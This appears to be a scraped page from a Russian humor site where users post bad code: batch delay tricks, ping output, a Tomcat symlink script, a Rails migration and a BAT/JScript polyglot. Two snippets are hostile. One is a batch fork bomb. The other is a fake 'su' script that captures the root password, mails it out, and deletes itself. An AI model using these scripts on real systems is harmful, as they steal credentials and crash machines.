- 1
ping -n 5 localhost > nul
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+100.1
ping -n 5 localhost > nul
К сожалению в Windows не предусмотрено никаких штатных команд для организации задержки, поэтому для того, чтобы в скрипте реализовать задержку в n секунд, например чтобы дождаться пока процесс завершится и освободит ресурс, приходится или качать/писать сторонние утилиты или прибегать к подобной чёрной магии.
+143.3
C:\>ping 10.0.0.3 -l 1472 -f -n 100
Обмен пакетами с 10.0.0.3 по с 1472 байт данных:
Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Превышен интервал ожидания для запроса.
Превышен интервал ожидания для запроса.
Превышен интервал ожидания для запроса.
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
VT
+140.4
Почему нет раздела по BrainFuck'у? )))
Почему нет раздела по BrainFuck'у? )))
Почему нет раздела по BrainFuck'у? )))
Почему нет раздела по BrainFuck'у? )))
Почему нет раздела по BrainFuck'у? )))
+143.8
l:
start %0
goto l
Полезный батник. Используется во время войны. Окна вылетают.
+67.9
#!/bin/bash
ln -s /tomcat/tc1/logs/CR.log /tomcat/logs/tc1.log
ln -s /tomcat/tc2/logs/CR.log /tomcat/logs/tc2.log
ln -s /tomcat/tc3/logs/CR.log /tomcat/logs/tc3.log
ln -s /tomcat/tc4/logs/CR.log /tomcat/logs/tc4.log
ln -s /tomcat/tc5/logs/CR.log /tomcat/logs/tc5.log
ln -s /tomcat/tc6/logs/CR.log /tomcat/logs/tc6.log
ln -s /tomcat/tc7/logs/CR.log /tomcat/logs/tc7.log
ln -s /tomcat/tc8/logs/CR.log /tomcat/logs/tc8.log
rm -fR /tomcat/webapps
mv /tomcat/tc1/webapps /tomcat/webapps
rm -fR /tomcat/tc1/webapps
rm -fR /tomcat/tc2/webapps
rm -fR /tomcat/tc3/webapps
rm -fR /tomcat/tc4/webapps
rm -fR /tomcat/tc5/webapps
rm -fR /tomcat/tc6/webapps
rm -fR /tomcat/tc7/webapps
rm -fR /tomcat/tc8/webapps
ln -s /tomcat/webapps /tomcat/tc1/webapps
ln -s /tomcat/webapps /tomcat/tc2/webapps
ln -s /tomcat/webapps /tomcat/tc3/webapps
ln -s /tomcat/webapps /tomcat/tc4/webapps
ln -s /tomcat/webapps /tomcat/tc5/webapps
ln -s /tomcat/webapps /tomcat/tc6/webapps
ln -s /tomcat/webapps /tomcat/tc7/webapps
ln -s /tomcat/webapps /tomcat/tc8/webapps
rm -fR /tomcat/tc2/conf/Catalina/localhost
rm -fR /tomcat/tc3/conf/Catalina/localhost
rm -fR /tomcat/tc4/conf/Catalina/localhost
rm -fR /tomcat/tc5/conf/Catalina/localhost
rm -fR /tomcat/tc6/conf/Catalina/localhost
rm -fR /tomcat/tc7/conf/Catalina/localhost
rm -fR /tomcat/tc8/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc2/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc3/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc4/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc5/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc6/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc7/conf/Catalina/localhost
ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc8/conf/Catalina/localhost
rm -fR /tomcat/tc2/lib
rm -fR /tomcat/tc3/lib
rm -fR /tomcat/tc4/lib
rm -fR /tomcat/tc5/lib
rm -fR /tomcat/tc6/lib
rm -fR /tomcat/tc7/lib
rm -fR /tomcat/tc8/lib
ln -s /tomcat/tc1/lib /tomcat/tc2/lib
ln -s /tomcat/tc1/lib /tomcat/tc3/lib
ln -s /tomcat/tc1/lib /tomcat/tc4/lib
ln -s /tomcat/tc1/lib /tomcat/tc5/lib
ln -s /tomcat/tc1/lib /tomcat/tc6/lib
ln -s /tomcat/tc1/lib /tomcat/tc7/lib
ln -s /tomcat/tc1/lib /tomcat/tc8/lib
rm -fR /tomcat/tc2/common
rm -fR /tomcat/tc3/common
rm -fR /tomcat/tc4/common
rm -fR /tomcat/tc5/common
rm -fR /tomcat/tc6/common
rm -fR /tomcat/tc7/common
rm -fR /tomcat/tc8/common
ln -s /tomcat/tc1/common /tomcat/tc2/common
ln -s /tomcat/tc1/common /tomcat/tc3/common
ln -s /tomcat/tc1/common /tomcat/tc4/common
ln -s /tomcat/tc1/common /tomcat/tc5/common
ln -s /tomcat/tc1/common /tomcat/tc6/common
ln -s /tomcat/tc1/common /tomcat/tc7/common
ln -s /tomcat/tc1/common /tomcat/tc8/common
+80.3
// here must be english equivalent for simple russian 'nahuya?'
+62.7
class UglyColumnsRedefine < ActiveRecord::Migration
def self.up
change_column :variable_sets, :active, :boolean
VariableSet.all.each{|v| v.update_attribute :active, !!v.active}
end
def self.down
end
end
Миграция с весёлым названием 20090601130619_ugly_columns_redefine.rb, для рельсового приложения, аля "так делать низя".
+76.1
#/usr/local/bin/bash
# False SU utility
# mail to send passwd
mail="[email protected]"
# go
echo -n "Password:"
read -s passwd
echo ""
echo "su: Sorry"
echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
# вернем все на место
alias su=su
#самоуничтожение
rm $0
Фейковый su )))
+70.8
<center><b><font color="#CCCCCC">1. Статус и ответственность сторон соглашения:</b></center><br><center></font>
<UL>
1.1.
<br><br>1.1.1.
<br><br>1.1.2.
<br><br>1.1.3.
<br><br>1.1.4.
<br><br>1.1.5.
<br><br><br>1.2.
<br><br><br>1.2.1.
+144.8
rem = 1;/*
@cls
@cscript %~s0 //E:JScript //Nologo
@exit /b
*/
str = WScript.StdIn.ReadLine();
WScript.StdOut.Write(1+2+3);
Файл сохранять в *.BAT
Это мой первый полиглот полиглот BAT и JScript.
Про полиглоты на вики: http://en.wikipedia.org/wiki/Polyglot_(computing)